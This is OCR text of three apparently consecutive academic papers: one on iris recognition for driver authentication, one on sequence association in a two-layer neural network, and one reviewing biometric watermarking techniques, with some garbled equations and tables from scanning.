contact. It is a kind of touchless biometric recognition.
[3] Biometric technologies require a certain amount of
cooperation from users that is, the users need to stand
still while the devices scan their irises, faces, hands or
fingers. Iris systems are typically used for distances shorter
than 30 cm and in front of cameras. Therefore, during
the process of recognition users must be motionless and
look directly at the camera. As these devices are based on
infrared illumination techniques, this type of recognition
does not pose any health risks. [4]

Biometric authentication of a driver

Initially, the introduction of the iris method in au-
tomotive industry was to offer a new method of driver
identification and authentication, as well as to create the
opportunity to apply this method beyond the vehicle
security and safety. Today, there is an increasing trend
of ride-sharing services, which lead to the demand for
the implementation of biometric technologies in terms
of identification and authentication of a number of users
who share the same car. A biometric method that enables
a high level of security is the iris recognition method. It
is usually installed in rear view mirrors and different car
setups for different drivers can be adopted, for example,
a limited speed setup in order to provide an increased
level of safety for teenage drivers. Many big companies
and organizations that frequently faced this issue have
already implemented biometric technologies in order to
be able to identify their drivers/employees at any time.

Besides the above-mentioned examples, payment ser-
vices also use iris authentication. For example, Samsung
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Pay, Apple Pay and Google wallet are linked with credit
cards and mobile phones which are used as payment
terminals. Cars can have the same role. Once a car is
connected to a system of payment, different kinds of
biometric methods can be used to execute payments. For
example, payments can be done at a gas station or in a
coffee shop, or any drive-through. Also, there are in-car
payments that are done via e-commerce.

In addition, this kind of biometric method can be used
to increase safety. As its authentication process is very
systematic and detailed, the iris recognition combined
with CCD camera and algorithm based on Gabor Filter
can prevent drunk drivers from starting their cars.
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Fig. 3. Model of alcohol presence via iris recognition

In terms of safety in a car, iris recognition goes one
step further by monitoring drivers’ eyes for drowsiness
and distraction. In newer cars, this system does not only
alert drivers but also activates a predefined mode to
drive the car to safety. Biometric technologies are also
used for entertainment, such as setup of sound system,
GPRS, cell phones, based on preferences of each driver.

IRIS

3. IRIS RECOGNITION METHOD
Individuality

There are no two irises alike, no correlation between
iris patterns in twins and even the right and left eye of
the same individual are different. An amount of informa-
tion that can be measured in a single iris is much greater
than the number of information taken from fingerprint.
It is very difficult to modify texture of the iris by sur-
gery. Also, it is rather easy to detect fake irises (designer
contact lenses). While the general structure of the iris is
genetically determined, particular aspects of its details
depend on the circumstances. Human iris begins to form
during the third month of pregnancy. By the eight month
of pregnancy, the process of distinctive iris pattern crea-
tion is completed and the pigmentation lasts for several
years after birth.

Functionality

Physical functionality of the iris is outstanding and it is
often compared with the diaphragm (opening for passing
light) of a camera. A normal iris has f-number - usually
t/2 or f/3 - which is ideal for maximum exposure to light.
If we compare it with a camera, this number would rep-
resent the diameter of a camera lens diaphragm opening.
In other words, it represents the effective focal length
of the lenses. For example, f/10 represents a diaphragm
opening diameter that is one tenth of the focal length or
the focal length is the length of ten openings.

The time that iris needs for changing the amount of
light it receives is about fifth of a second. On the other
hand, the reduction of the light is minor, less than factor
of 20 (one more f-stop). This leads to a conclusion that
the iris is not responsible for the control of light intensity,
which is the function performed by the rods and cones
in the back of retina.

Just like changing f-stop on a camera, the iris can
effectively reduce aberrations, especially in bright condi-
tions and increase the depth of field.

Fig. 3. Human eye structure
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Fig. 4. Comparison: camera vs human eye (iris)
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In conclusion, the individual components of the eye
function in a manner similar to a camera shown in a [Fig-
ure 4.]. Cornea function is similar to a camera lens cover.
As the main focusing element of the eye, cornea receives
a wide range of light rays, and bends them through the
pupil. The pupil is a dark round opening in the center
of the colored iris. The iris and pupil function like an
opening of the camera. The function of the eye lens is
to focus light on the back of the eye, just like the lens
in a camera. The retina is placed on the back of the eye
and its role is the same as the role of a film in a camera
i.e. image sensor in digital cameras. The retina can be
described as a membrane which contains photoreceptor
nerve cells that are placed inside the back wall of the eye.
These photoreceptor nerve cells of the retina transform
light rays into electrical impulses. The optic nerve trans-
mits the electrical impulses to the brain. The Macula is
responsible for sharp vision, for example, when we read or
watch something that requires focus, while the peripheral
retina is responsible for peripheral vision.

Characteristics

Iris recognition technology converts visible iris char-
acteristics into a 512 byte IrisCode, a template which is
stored into biometric system database for future verifi-
cation. Speaking of storage terms, 512 bytes is a small
size for a biometric template but it stores a large quan-
tity of information, which makes it quite unique. This
amount of information is massive. For example, from iris
with diameter of 11 mm, Daugman’s algorithms provide
3.4 bits of data per square mm. Based on the density
of information like this one, it can be concluded that
each iris has 266 unique points. In comparison, the tra-
ditional biometric fingerprint technology stores 13-60
points. Daugman concludes that 173 independent binary
degrees-of-freedom can be extracted from his algorithm,
which is a significant number for biometrics.

Algorithms

The first step for biometric system based on iris is to
locate the eye with the camera. The distance between the
eye and a camera should not be greater than 90 cm (ideal
distance is between 30-40 cm). After the eye is captured
by the camera, the algorithm scans the iris from right
to the left and locates its outer edge. The horizontal ap-
proach is adopted because of a possible obstruction by
the eyelids. At the same time, the camera locates the
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inner edge of the pupil, excluding points that are 90 de-
grees or more in relation to the shortest line between the
eye and the camera, which is caused by lighting issues
and inherent moisture. [5]
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Fig. 5. Algorithm of Iris Area

Monochrome camera uses both types of light, visible
and infrared. The infrared light is located within 700-900
nm range. The algorithm uses 2-D Gabor wavelets for
mapping and filtering segments of the iris, in the form
of vectors. (phasors). This operation does not include
the entire surface of the iris, but rather its portion at the
top. Also, 45 degrees of the iris bottom is not included
because of the eyelids and camera light reflections. In
future authentications and identifications, the biometric
system will not use images to compare irises, but hexa-
decimal representations of the data returned by wavelet
mapping and filtering. [9]
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Fig. 6. Block diagram of iris recognition (algorithm)
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4. IRIS RECOGNITION MATLAB SIMULATION

MATLAB is a high level interactive environment for
numerical computing, visualization and programming.
Via MATLAB we can analyze data, create models and
applications, as well as develop algorithms.

The iris recognition can be successfully simulated by
using this software. The Image Processing Toolbox, which
is available in this software, enables us to detect, normalize
and match templates with the database.

The main functions of Image Processing Toolbox are:

+ Filtering, deblurring, and enhancement of the
image;

¢ Analysis of the image, including morphol-
ogy, segmentation, measurement and feature
extraction;

¢ Intensity-based image registration and spatial
transformation methods;

+ Image transformations;

+ Interactive tools, which include Region Of Inter-
est (ROI) selections, histograms, and distance
measurements.

Array is a basic data structure in MATLAB. The repre-
sentation of an image is in a form of real-valued ordered
sets of color or intensity data. Most images in MATLAB
are stored as two dimensional arrays, in which each ele-
ment of the matrix corresponds to a single pixel in the
image which is displayed. [6]

An image is taken by a standard camera which is
usually placed in a rear view mirror. Once the camera
captures the face of an individual, the iris recognition
algorithm does the segmentation of face image to acquire
only the iris region, separate from the pupil region. At
the moment when iris edges are detected, using Canny
Edge Detection method, iris image is transformed to the
digital form, and matched with values stored in database.
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FEATURE
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ON
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ALERT SIGNAL SEND
TO OWNER OF CAR

Fig. 7. Flowchart diagram, iris recognition connected with car ignition
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Canny Edge Detection Method is based on finding the
edges of iris, by looking for local maxima of the gradi-
ent of I. The “I” represents intensity of the image, while
the gradient is calculated by using the derivative of the
Gaussian filter.

By using two thresholds, this method detects strong
and weak edges and includes the weak edges in the output
only if they are connected to strong edges. [7]

Canny Method is:
BW = edge (I, ‘canny’)
BW = edge (I, ‘canny, THRESH)

Where THRESH is vector which includes two elements,
first low threshold and second high threshold.

Fig. 8. Original, grayscale and canny edge image

The iris image is taken first and it is converted to
a grayscale image for image pre-processing. Then, the
Canny Edge detection function is applied and the template
with edges of iris and pupil is formed. (8)

5. CONCLUSION

One of the goals of this analysis is to present the areas
in which the iris recognition method can be used in the
coming years.

In order to make biometrics more applicable and ac-
ceptable researchers are developing new techniques. For
example, iris recognition systems that can be used even
from a greater distance and while users are in motion.

This paper presents new multidisciplinary technolo-
gies for iris recognition that are less constrained than the
traditional biometric systems. In order to understand
and implement these technologies a multidisciplinary
approach is required. The described technologies include
all aspects of iris recognition systems including methods
of acquiring and processing biometric data.

The following characteristics make iris recognition
method attractive:

¢ Very stable: pattern of human iris remains un-

changed throughout lifetime
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+ Flexibility: easy to integrate in the existing se-
curity systems or it can operate as a standalone
system

+ Unique: probability of two identical irises is in-
significant

+ Non-invasive: iris recognition is contactless and
it offers a high level of accuracy

+ Reliable: a distinctive iris pattern is not suscepti-
ble to theft, loss or compromise.

¢ Versatile: it can work in one-to-many and one-
to-one matching or verification which makes it
ideal for multifactor authentication systems

¢ Performance: suitable for environments with
large databases without slowing down the system

Model of described Iris Recognition System can be
integrated into the Electronic Control Unit (ECU) of the
automobile to ensure the security of a vehicle in case of
theft. Further analysis might be focused on a detection of
the level of drowsiness in drivers and the same algorithm
is possible to be used. This system would identify the
level of closeness of drivers’ one or both eyes and alert
the driver to take an appropriate action. Such a biomet-
ric system could increase the safety of drivers as well as
improve the overall safety of other traffic participants.
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Abstract:

In this paper a two-layer feedforward network is studied, a network that
stores an association between two sequences in the two layers. Our work
shows that neuronal sequences in one area can robustly trigger sequences
in the second area if the association between the sequences is stored in the
network. A more detailed incorporation into the biological aspects of neural
network in the network dynamics may help to improve neutral networks in
engineering applications.
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1. INTRODUCTION

Replay of sequential activity patterns in the hippocampus has been
proposed as a mechanism for the consolidation of episodic memories
[1]. It is thought that replay sequences originate in one area and trigger
neuronal sequences downstream, e.g., in other area, like neocortex [2].
However, under physiological conditions internal noise or external inter-
ference are likely to corrupt the precise sequential ordering of neuronal
sequences. It remains an open question how robustly the activation of a
corrupted sequence in one brain area can induce the associated sequence
in the second area. Here we study this question in a two-layer feedfor-
ward network that stores the association between two sequences in the
two layers. While keeping the connection weights fixed, we degrade the
input sequence incrementally and observe the sequence induced in the
output layer. We measure the similarity of sequences with the Spearman
rank-order correlation. Surprisingly, we find that even when the input
sequence is highly corrupted, the retrieved output sequence is similar to
the associated sequence. This result is specific to the stored association
and not found for random sequences. Our work shows that neuronal se-
quences in one area can robustly trigger sequences in a second area if the
association between the sequences is stored in the network. Incorporating
biological details of neural network improves robustness of association
of neural network [3].

DOI: 10.15308/Sinteza-2017-50-54



2. MODEL

Network Dynamics

We use neural network model with two layers con-
sisting of excitatory and inhibitory units [4]. These units
represent populations of neurons and have heterogene-
ous parameters, unless otherwise stated in the Results.
Excitatory units in the

Fig. 1. Two-layered feedforward neural network

first layer send projections to excitatory (w,,, ) and inhibi-

tory (w,, ) units in the first layer, as well as to excitatory

E1nl

(w,,,) and inhibitory (w, ) units in the second layer (Fig.
1). Within the second layer, there are recurrent excitatory
connections (w,,.,) and excitatory to inhibitory connec-

tions (w_, ). Here we only briefly sketch the model; the

E212

full description can be found in [4]. The dynamics of the
activity xj of excitatory unit j in the first layer is given by

TeX) = _xj(t) +f<aeexj(t)
N
+C Z Cjkxk(t - A]k)
k=1
M

- aeiz VixYk —dz; +en; — 6, + 1j>

k=1
= —x;(t) + v;(t)

(1)
where 7, is time constant of the excitatory unit, the dot
represent the derivative with respect to time, fis sigmoid
function, and vj(t) is the firing rate of population j. The
seven terms in the function f represent different inputs
to the unit. These are, firstthe self excitation of popula-
tion j with its connectivity a_. Second, the inputs from
other excitatory units with a delay of Ajk weighted by
connection weights ¢, and a general excitability C. Third,
inputs from inhibitory units with activity ya, weighted
by random static connection strength v,. and a general
excitability from inhibitory units a . Fourth, an adapta-
tion current z, weighted by a constant d with dynamics
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Z: =

s
T )

where 7. is the decay rate and b its rate of growth. The fifth
term is noise defined by an Ornstein-Ulenbeck process

) N
n= +$j 3)
Ty
where & ; is white noise process with zero mean and unit
standard deviation (std). The parameter 7, allows us to
adjust the noise level. The sixth term I represents external
inputs. Finally, 6, is the excitatory threshold.

Recurrent connections undergo spike-timing dependent
plasticity (STDP)

Tcéjk = Psrpp — Dsrpp — ¥ 4)

where 7, isatime constant, P

depression. The term ¥ is a

represents potentiation

of the connection and Dg s

reducing factor, which provides stability to the dynamics.
More details can be found in [4].

The dynamics of inhibitory units are described by

. —Yj
= _} + Qe [Z ijxk i

where a_represents the strength of the excitatory to in-

+ i (5)

hibitory connections. The notation [x]+ is equivalent
tomax(x,0). ij is the static strength of individual excita-
tory to inhibitory connections, and 6, is the threshold to
activate inhibitory units.

The dynamics of excitatory units in the second layer are
similar to the first layer with the addition of feedforward
inputs

Tex] = _xj(t) +f (aeexj(t)
N N
+ CZ Cirexi (€ — D) + gz Kje xx ()
k=1 k=1

M
— Qgj Z Ujkyk - dZ} + GT]J - He + I}>
k=1

= —x;(t) +v;()

(6)
where parameter g is a gain term, and K, is the strength
of the connection from excitatory unit k in the first layer
to excitatory unit j in the second layer. Plasticity between
the layers is given by

N
TxKjx = (@ — ¢ ) (€ — ci) [5 - Z Kirxr(t)| HjHy —
r=1

+

7)
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where 7,,a,& and E are constants, and H(x) is a sharp
sigmoid functions. Detail on the reducing factor y can
be found in [4].

Differential equations were solved using the Euler method
with an integration time-step of 0.5 ms.The model pa-
rameters are defined in Table 1.

3. QUANTIFYING THE ROBUSTNESS OF
SEQUENCE ASSOCIATION

In most our simulations, we stored associations be-
tween a sequence in the first layer, say units 1 to 80, and
a sequence in the second layer, say units 1 to 20, in the
connection weights of the network as described in [4].
We then examined the robustness of sequence association
by applying perturbed sequences in the first layer (input
sequences) and observing the evoked sequences in the
second layer (output sequences). To quantify the differ-
ences between two sequences, we calculated the Spearman
rank order correlation p between the activation times of
the units in the two sequences. Since the units' activities
are continuous variables, we had to define when the units
are considered to have become active. Here we used the
time of the first local maximum in a unit's activity. The
correlation takes values between -1 and 1. A correlation
of 1 or -1, implies that the two sequences are identical or
reversed, respectively. The closer the correlation is to zero,
the more the sequences differ from each other.

Layer [ Layer II
Parameter Value Parameter Value
dee 8 Aee 6
Aei 15 Aei 15
die 15 die 15
b 0.05 b 0.05
() 3 C 2
d 11 d 12
e 1 e 1
N 80 N 20
M 16 M 16
O 3.8 O 3.9
o 0.2 a 02
Te 10 gmc 0.3
Tc 70 Te 10
T 5 T 70
T, 70 5 5
T 2 2 70
7, 5
& 70
@ 0.01
s 1
= 5

Table 1. Mean parameter values used in our simula-
tions. Heterogeneous values were drawn from a normal
distribution with standard deviation of 4%. The units
for all time constants are milliseconds.
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To study the robustness systematically, we examined
the relationship between the output correlation and the
input correlation (Fig. 2). By input and output correlation
we mean the correlation between the test sequences and
their respective reference sequences. If for large changes
of input correlation we obtain low changes in the output
correlation then the network is robust (gray line), for the
opposite case we get non-robust network (black line).
We therefore generated 650 input sequences with input
correlations roughly uniformly distributed in [-1,1], ap-
plied them on the first layer and recorded the invoked
sequence in the second layer. Calculating the correlation
for given sequences is straightforward, but generating
input sequences with a desired correlation to the reference
input sequence is nontrivial. Since random sequences
have predominantly small correlations with any reference
sequence, we implemented a systematic search algorithm.
To obtain large positive correlations, we started with the
reference sequence and successively increased the num-
ber of permutations until a sequence within the desired
range of correlation was generated. We followed a similar
procedure for large negative correlations, except that we
started with the reversed reference sequence. For correla-
tions close to zero, we selected random sequences. We
then fit a sigmoid function to the relationship between
output and input correlations

Fl(x)=m—1 (8)

and quantified the robustness by the parameter c. The
closer the curve is to the maximal robustness, i.e., a sign
function, the larger the robustness parameter c. Equation
(8) is convenient for fitting the data for robust sequence
association, but is not appropriate for non-robust rela-
tionships. In these cases, we use anotherfitting function
instead

F2(x) = d tan(ax) 9)

We performed model selection based on the Akaike In-
formation Criterion (AIC) to decide in each case whether
(8), (9), or a combination of both

F(x) = F1(x) + F2(x) (10)

best accounted for the input-output relationship.

To examine whether the robustness of sequence as-
sociation is specific to the stored sequences and not found
for random sequences, we estimated the robustness pa-
rameter ¢ for random reference sequences. We generated
reference input sequences that had certain correlations
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with the input sequence used during storage. The correla-
tions were divided in 10 bins of width 0.2. For each bin, we
generated 40 randomized input sequences, which served
as the reference input sequences. For each randomized
input sequence, we recorded the output sequence gener-
ated by the network in the

08 robust 7
06 7
04r -

02} e

output correlation
[=]

-04} -
-06} .

-0.8 e

_1,
-1 08 06 04 02 0 02 O
input correlation

Fig. 2. Graphical presentation for network robustness

second layer. We then performed the robustness analy-
sis described above with this pair of input and output
reference sequences.

4. RESULTS

In the first analysis, we reduced the network dynam-
ics to focus on the role of the feedforward connections
between the two layers. We set the connection strengths
wE2E2 to zero and switched off plasticity after storing
the association between a sequence in the first layer and
a sequence in the second layer. After training the feed-
forward connection strengths, using sequence 1+80 and
1+20 in the first and second layer respectively, we tested
the sequence retrieval in the network with a corrupted
input sequence. From the network, we retrieved an output
sequence, which was very similar to the stored output
sequence. So, a corrupted input sequence can retrieve the
correct output sequence in this example. This is reminis-
cent of pattern completion, which is well-known in neural
network models that store patterns of neural activity. The
systematic analysis of the input-output function revealed
that indeed the network robustly associated the input
with the output sequence (Fig. 3a). This is the central
result of this paper that we wish to study in more detail
in the following.
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To test whether the observed robustness is simply an
artifact of our data analysis, we tested the robustness for
deviant reference sequences. If robustness was a result of
sequence association, robustness should be observed only
for the sequences used during storage, and not for random
ones. When we used a random reference sequence that
bore no resemblance to the stored sequence, the network
did not seem to “recognize” the sequence and retrieved
an output sequence that was quite different from the
output sequence used during storage . Using these two
reference sequences, the input-output relationship was
not robust (Fig. 3b). When we examined the range of
possible reference sequences, we found that robustness
is highest for the stored sequence but drops steeply when
the reference sequences deviate from the stored ones (Fig.
3¢). The observed robustness is therefore a direct result of
sequence association in the network connections.

5. CONCLUSIONS

In this paper the robustness of sequence association
between two layers in a neural network is quantified
by testing the input-output relationship of the network
with distorted input sequences. We found that a purely
feedforward network associates the input and output
sequences robustly. There are, however, open questions
and limitations to our study. For instance, when looking
at all possible permutation of a reference sequence with
many elements, the number of sequences with a cor-
relation around zero is much larger than the number of
correlations close to 1 or -1. By contrast, we took the view
that we were probing the input-output relationship of the
network and therefore used input sequences with roughly
uniformly distributed input correlations. The difference
in distribution might affect the parameter fits, and it is
not immediately clear to us which distribution of input
correlations should be preferred. Perhaps neither of the
distributions discussed above should be used since they
are both rather artificial scenarios. Perhaps, the best thing
to do is to use the distribution of input sequences that is
generated by the biological network. However, while some
models have been proposed, none is widely accepted. We
therefore opted to generate the input sequences according
to the simple procedure used here to clearly isolate the
effect of the feedforward connectivity on the robustness
of sequence association. Future work will be needed to
investigate the influence of the statistics of the input se-
quences on the robustness.

Another question is the potential influence of the
procedure for assigning a unique time of activation to
each unit's activity.
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Fig. 3. Results: a) robust sequence association; b) robustness for random sequence;
¢) robustness for random sequences in range [-1.1]

Here we used the first local maximum of the activa-
tion. Other potential measures could have been used,
such as the first time of crossing a certain threshold,
the median time of the activity distribution, or the time
of the absolute maximum. Since there is no universally
agreed upon measure for rate-based units, it is speculative
at this point. This ambiguity could be resolved by using
spiking neuron models, where the sharp spikes allow a
clear definition of times of activity.

We used only one fixed set of network parameters,
including a relatively modest network size, since the net-
work dynamics and analyses require extensive numerical
calculations. Future work is needed to study robustness
of sequence association for different network parameters,
especially different network sizes and different level of in-
hibition.Additional analysis should be made for noise in-
fluence and influence of plasticity on final performances.
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Abstract:

In this study, we review digital watermarking techniques used for protection
of biometrical data in authentication services based on biometry. In addi-
tion to the development of protection biometrical templates, there has been
a breakthrough in additional privacy protection within biometrical systems
that perform authentication without preserving biometry in their databases.
We begin with theoretical foundations of digital watermark and biometry
and then review current research advances in this area, which combine the
two technologies and thus create a new ground for exploration better known
as biometrical watermarking.
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1. INTRODUCTION

Using biometric authentication has recently increased due to the
easy access to the Internet and the risk of misuse. Biometric is beginning
to replace traditional authentication methods because of the quality of
biometric data. Many organizations are using biometric data to protect
individuals from identity thefts.

Biometric samples may be compromised despite being stored in data-
bases. Biometrics cannot ensure authenticity or guarantee rejection because
it may be copied or counterfeited. If the biometric data are stolen or modi-
fied, they are forever lost. Hence, the security and integrity of biometrics
data represent a challenge. In order to increase safety and improve system
performance, various types of authentication should be combined.

Techniques based on steganography are suitable for transferring the
critical biometric data from the user to the server thus reducing the pos-
sibility of illegal changes to biometric data. After enrolment, encryption
is applied on a biometric sample, which is then decrypted during the
authentication by using a secret key. Encryption provides security until
the data are decrypted.
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2. RELATED WORK

If a verification system guarantees that the biometric
data at the moment of entry originates from a legitimate
user, the biometric system will function properly [1].
Biometric watermarking helps increase safety of authen-
tication systems. Watermarks provide security after the
data have been decrypted. Biometric data embedded into
the decoded data host may be recovered only by using
the secret key [2].

In order to protect its integrity, information is hidden
in the host data image by using a watermarking tech-
nique. There are various watermarking techniques for
embedding data into the image. They may be divided into
spatial domain techniques [3], [4] and frequency domain
techniques [1], [5], [6], [7]. Although techniques in the
spatial domain have the lowest complexity and large load
capacity, they cannot withstand attacks such as image
processing and low-pass filtering [8].

Biometric watermarking techniques increase security.
Jain et al. [9] proposed using a secret key for embedding
a bit sequence of eigenface coefficients into randomly
selected pixels of fingerprint image by using a blind water-
mark technique. Jain and Uludag [10] applied steganog-
raphy technique for hiding the minutiae data within the
data bearer that are unrelated to the original fingerprint
image. Information was hidden in three types of images:
fingerprint, facial, and arbitrary image. Authors hid ei-
genface coeflicients within the fingerprint image. The
results have shown that 100% of the minutiae points were
recovered thus proving that the watermarked fingerprint
image does not degrade performance. Moon et al. [11]
proposed several watermarking techniques to increase
safety of biometric system by using a fingerprint and a
face image. Superior verification accuracy was achieved by
embedding fingerprint features into a face image, which
is not the case when facial features were embedded into
a fingerprint image.

A watermark and cryptography technique based on
block- wise image for embedding a fingerprint template
into a facial image that preserves the image quality, was
introduced by Komninos and Dimitriou [12] while Park
etal. [13] proposed using robust embedding of iris tem-
plate into a face image. Vatsa et al. [14] combined discrete
wavelet transform (DWT) and the least significant bit
(LSB) methods for watermarking biometrics. Watermark-
ing technique based on the DWT method is robust to
frequency attacks but vulnerable to geometric attacks.
In contrast, the watermarks based on LSB algorithms are
robust to geometric attacks but they are more vulnerable
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to frequency attacks. Authors have shown that the com-
bined algorithm works better than separate techniques.
Acting together, DWT and LSB enhance encryption and
decryption in the case of frequency and geometric attacks.

Embedded voice features into an iris image were used
by Bartlow et al. [15]. Instead of randomly choosing
points within the image, voice feature descriptors were
hidden inside a segmented iris. Results have shown that
introduction of voice feature descriptors does not signifi-
cantly interfere with the quality of iris image or matching
performance. For improving biometrics data integrity,
authors have proposed usage Public Key Infrastructure
(PKI), which provided non- repudiation of origin and
data integrity through cryptography.

Low et al. [16] applied the discrete random trans-
form (DRT) and principal component analysis (PCA)
for decomposing a signature into binary bit strings. Three
methods of embedding and extraction are compared to
determine robustness and strength against JPEG com-
pression: LSB, CDMA spread spectrum in the spatial do-
main, and CDMA spread spectrum in the DWT domain.
Performance of these methods was tested by the human
visual perception, peak signal to noise ratio (PSNR),
and the distortion rate (normalized Hamming distance).
Results indicated that the LSB method is highly fragile
to JPEG compression despite having the simplest access
to biometric watermarks. The CDMA spread spectrum
in DWT domain is complicated while being much more
resistant to JPEG compression.

Rajibul et al. [17] embedded encrypted palmprint
template into a fingerprint image by using a key extracted
from palmprint while Ma et al. [18] proposed a block
pyramid scheme based on an adaptive watermarking
quantization for embedding fingerprint minutiae into a
face image. WatermarKk’s numeric bits with higher prior-
ity and embedding strength are embedded into an upper
level of the pyramid by using the first order statistics (the
Quantization Index Modulation (QIM) method).

A scheme for the iris pattern protection by combining
cryptography and watermarking techniques was pre-
sented by Fouad et al. [19]. An iris image was protected
with a key and embedded into a cover image by using the
LSB and DWT techniques. The embedding location is
defined by a second key. Both keys (iris and embedded)
are necessary in the process of iris extraction.

The Cox’s algorithm for embedding watermark into
a face image was applied by Isa and Aljareh [20]. In the
identification process, a face image was used for the user-
name while a watermark was used as a password for the
authentication. A disadvantage of the scheme is that it
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requires the original image during the watermarking
detection process.

In order to obtain an eigenvector, Majumder et al.
[21] applied a biometric watermark by using the DWT
method and singular value decomposition (SVD) of the
host image. Iris features were extracted by using the dis-
crete cosine transform (DCT) technique and embedded
into the eigenvector. A disadvantage of this approach is
the inability to change the algorithm used for extracting
iris features.

Paunwala and Patnaik [22] embedded fingerprint
and iris features into a cover image that is divided into
blocks. Each block is transformed into a two-dimensional
DCT and classified into blocks with or without edges.
Biometric features were embedded into low frequency
coeflicients of the 8 x 8 DCT block while removing the
block with edges.

3. DISADVANTAGES OF BIOMETRICAL
SYSTEMS

Development and application of biometric sys-
tem revealed deficiencies that may be divided into two
categories: The first category is related to poor privacy
protection of biometric data. If cryptographic keys are
compromised, biometric data will be lost in spite of the
encrypted biometric pattern. The second category deals
with the system security [23]. Biometric patterns are
not always encrypted. For example, decrypted biometric
data are used in the authentication process (checking the
degree of matching between two biometric patterns) [24].

Determining the authenticity of the original biometric
data is also an issue especially when sensors, feature ex-
tractors, and template generators are not integrated. Given
that the traditional methods for data authentication (hash
functions or message authentication) are very sensitive
to every input bit of data, they cannot be applied [25].
Information carried by the biometric image is retained
even if data undergo the content preserving operations
(compression and quality improvement).

A compromise between robustness and security makes
a system vulnerable to numerous threats. During a transfer
of biometric data from the sensors to the decision-making
module, there is a risk of various types of attacks such as
spoofing, masquerade attack, eavesdropping, replay attack,
recorded data insertion, remaking, tampering, Trojan horse
insertion, data interception, substitution attack, or overrid-
ing yes/no responses [26]. A generic scheme of potential
attacks on a biometric system is shown in Fig.1.
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Fig. 1. Examples of possible attacks on a biometric
identification system [27]

Digital watermarking offers the best solution. Water-
marking is becoming a prominent security tool that has
been successfully applied to many applications in order
to protect the original multimedia data such as copyright
protection and content authentication. Secret information
is embedded into a host image by using a robust water-
marking method so that the watermark content could be
recovered even after experiencing a moderate distortion.

4. BIOMETRIC WATERMARKING

Biometric watermark is an invisible digital watermark
embedded into a cover image that may be easily recov-
ered by using software tools. The embedding location of
biometric data is defined by a secret key thus preventing
the possibility of biometric data misuse. The invisible
watermark should be robust to various signal processing
techniques and should be recoverable from the modified
image. Furthermore, invisible watermarking technique
should be applied within the legal framework, together
with the location security and encryption.

Jain et al. [10] proposed the watermarking technique
as an additional defense for biometric systems. Using the
watermark may effectively improve the safety and reli-
ability of biometric systems [25]. Listed are advantages
of biometric watermarks:

+ Invisibly hidden into host data, a watermark may
be used as authentic token in forensics for safe-
keeping. In case of interception of biometric data,
it may provide a mechanism for monitoring in
order to identify the origin of the data.

+ Watermarked information is connected to a host
data and hence it does not require an additional
storage or transfer of resources. Furthermore,
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verification “on the spot” does not require privi-
leges for accessing biometric or watermark da-
tabases.

+ Watermarks do not affect other security tools.
Hence, cryptographic operations or techniques
for template protection may be applied on water-
mark data or watermarked host data.

Application of Visual Cryptography and Transforma-
tion Methods

Visual cryptography and DWT methods have been
applied in order to hide an iris image [28] that was embed-
ded into a cover image divided into four parts by using
the DWT method and was then compressed. The three-
least-significant-bit technique was applied for embedding
the secret message.

Results have shown that application of these methods
protects the iris and the secret message from the identity
theft. Good results have been achieved by combining the
DWT method and the Haar filter. Compared to the origi-
nal iris image, the resulting image has a reduced number
of pixels while preserving the image quality.

Good quality of iris and cover images with reduced
required range may be achieved by decomposing the iris
image into two levels by using the DWT method without
final compression of the watermarked image. By using
the three- least-significant-bit method in the embedding
process, the size of the secret message increases while the
quality of the iris image remains unchanged.

Application of the Robust Watermarking Algorithm
Based on DCT

The middle band coefficient exchange (MBCE) meth-
od was presented by Zhao and Koch [29]. Later, Hsu and
Wu [30] applied the DCT method for embedding the mid-
dle band coefficients. The algorithm encrypts one bit of
the binary watermark object into an 8 x 8 sub block of the
host image so that the difference between the two middle
band coefficients is positive if the encrypted value is 1.
Otherwise, the two middle band coefficients will change.

The image is divided into three frequency bands by
using a watermarking technique in the DCT domain, as
shown in Fig. 2, which made it easier to embed water-
mark information into a specific frequency range [31].
The 8 x 8 block is taken after the DCT has been applied
to the image.
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Fig. 2. Frequency regions in the 8 x 8 DCT block [34]

The low frequency range F, bears the most important
part of the visual image while the high frequency range F,,
is vulnerable to noise attacks and to removal under lossy
compression. The most preferred range for the embedding
watermark information is a medium frequencies range
F, because it does not affect important parts of the visual
image. The high frequency components F, are not overly
exposed to removal if they were target of attacks [32].

Two locations from DCT blocks (DCT( and

DCT,,,) are chosen for the middle frequenc;l,l‘)/:nd F,
for comparison. After the watermarked text has been con-
verted into a binary image, the pixel values are checked. If
the relative size of each coefficient does not agree with a
bit that has to be encrypted, the coeflicients are replaced.
If the value of the pixels in the binary text is 1, the DCT
coefficient is replaced so that DCT,, > DCT,, . If
the value is 0, the coefficient is replaced so that DC T(w,-w )
<DCT,,,. This scheme hides watermarked data so that
it interprets 0 and 1 with relative values of two fixed loca-
tions (DCT(UI;W )

range F_instead of inserting any data. This kind of coef-

and DCT,, ) in the middle frequency

ficient replacement does not significantly affect water-
marked image because the DCT middle range frequency
coefficients have similar magnitudes [29], [33]. In the
image extraction process, the 8 x 8 DCT image is taken
again so that 1 will be decoded if DCT, >DCT

(ULVI1) (U2;V2)
and 0 will be decoded if DCT < DCT In this

(ULV1) (U2v2)"
manner, the watermark has been created.

If only one pair of coefficients is used for hiding the
watermark data, an attacker may analyze several copies
of the watermarked images in order to predict location of
coefficients and destroy them. Abdullah et al. [34] solved
this problem by choosing three pairs of middle range fre-
quency coeflicients thus increasing redundancy and robust-
ness of the scheme to various attacks. Authors have pro-
posed adding a constant k so that DCT CT, ., <k

(L)~ D (U2V2)
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in order to increase robustness of the watermark algo-
rithm. The strength of the watermark will increase by
choosing the value of k. Increasing k will degrade the
image but will reduce the error probability in the detec-
tion phase. Choosing k = 15 proved to be the best value
for the perception versus robustness.

A good watermarking algorithm should be impercep-
tible to the user and should not significantly affect the
matching performance of a biometric system. It should
also reliably detect embedded information even if a wa-
termarked image is degraded.

One bit of the watermark text will be hidden in each 8
x 8 block of the image. A one-dimensional string of zeros
and ones is taken as the watermark object. An image of
the watermarked text carries user’s information (name,
ID, and date of birth). The difference between the origi-
nal and watermarked image, shown in Fig. 3, cannot be
seen without applying image processing techniques. The
average value of the peak signal to noise ratio (PSNR)
between the original image and the watermarked image
is 37.69 while the average value of the bit error rate (BER)
is 0.257%. The average value of the PSNR for the extracted
watermarked text is 84.25 while the BER is 0.0244%.

(2) Original image (2) Watermarked image

Name:
M. Abdula
ID: 1234
dd/mmlyy
Name: Name:
M. Abdula M. Abdula
ID: 1234 ID: 1234
dd/mmfyy dd/imm/syy

(e) Binarized text (1) Extracted Watermark

Fig. 3. Perceptibility of the watermarked image [34]

The original image is not required for the watermark
extraction. Furthermore, the integrity of the biometric
